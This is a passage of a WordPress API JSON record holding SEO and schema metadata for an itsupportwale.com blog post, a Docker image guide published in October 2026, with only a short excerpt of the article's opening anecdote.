Guides\",\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\",\"name\":\"itsupportwale\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"contentUrl\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"width\":1119,\"height\":144,\"caption\":\"itsupportwale\"},\"image\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\",\"name\":\"Techie\",\"sameAs\":[\"https:\/\/itsupportwale.com\",\"iswblogadmin\"],\"url\":\"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/","og_locale":"en_US","og_type":"article","og_title":"Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale","og_description":"Stop Treating Your Docker Image Like a Virtual Machine It was 3:14 AM on a Tuesday when the first PagerDuty alert fired. I was the lead SRE for a fintech startup, and we were scaling our transaction processing engine to handle a sudden spike in volume. I had just &#8220;optimized&#8221; our CI\/CD pipeline by caching ... Read more","og_url":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/","og_site_name":"ITSupportWale","article_publisher":"https:\/\/www.facebook.com\/Itsupportwale-298547177495978","article_published_time":"2026-10-28T20:11:23+00:00","og_image":[{"width":512,"height":512,"url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png","type":"image\/png"}],"author":"Techie","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Techie","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#article","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/"},"author":{"name":"Techie","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d"},"headline":"Docker Image Guide: How to Build, Run, and Manage Images","datePublished":"2026-10-28T20:11:23+00:00","mainEntityOfPage":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/"},"wordCount":2166,"commentCount":0,"publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/","url":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/","name":"Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/#website"},"datePublished":"2026-10-28T20:11:23+00:00","breadcrumb":{"@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/itsupportwale.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Docker Image Guide: How to Build, Run, and Manage Images"}]},{"@type":"WebSite","@id":"https:\/\/itsupportwale.com\/blog\/#website","url":"https:\/\/itsupportwale.com\/blog\/","name":"ITSupportWale","description":"Tips, Tricks, Fixed-Errors, Tutorials &amp; Guides","publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/itsupportwale.com\/blog\/#organization","name":"itsupportwale","url":"https:\/\/itsupportwale.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","contentUrl":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","width":1119,"height":144,"caption":"itsupportwale"},"image":{"@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Itsupportwale-298547177495978"]},{"@type":"Person","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d","name":"Techie","sameAs":["https:\/\/itsupportwale.com","iswblogadmin"],"url":"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/"}]}},"_links":{"self":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/comments?post=4918"}],"version-history":[{"count":0,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4918\/revisions"}],"wp:attachment":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/media?parent=4918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/categories?post=4918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/tags?post=4918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}